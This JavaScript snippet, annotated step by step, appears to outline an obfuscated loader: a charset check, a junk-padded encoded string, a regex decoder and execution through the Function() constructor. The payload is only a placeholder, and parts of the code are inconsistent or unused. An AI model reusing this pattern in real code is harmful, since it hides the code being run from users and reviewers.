if (document.characterSet.toUpperCase() !== "UTF-8") {
  console.log("Invalid Charset: " + document.characterSet);
  return false;
}

// Step 2: Payload Encoding (initial obfuscated string)
const _OWJsW = {};
_OWJsW._KVO94F = "NHJIZPBPTMGSWSPMKRRSPZSVHREOYREVTKLTPTUKINQJIVLAHUPZTUFIZRYIFGV";

// Step 3: Decoder Logic - removes junk characters from the encoded string
const decode = (input, regex) => input.replace(regex, "");

// e.g. decode(_OWJsW._KVO94F, /[IFHiZ2JDUS38NyPOpXeb]/g)

// Step 4: Constructs payload execution function using string replacement and Function()
const getFuncName = (n) => {
  if (n === 0) return "lvti";      // Result of regex strip
  if (n === 1) return "ecr";
  return "Function";               // Dynamically resolves real `Function`
};

// Step 5: Main execution handler
const _executePayload = (decodedPayload) => {
  const runner = (new Function("_OWJsW", decodedPayload));
  runner(_OWJsW); // Execute payload with global object
};

// Step 6: Triggering payload after intermediate decoding
(() => {
  const decoded = "/* deobfuscated payload string */"; // result from step 3
  _executePayload(decoded);
})();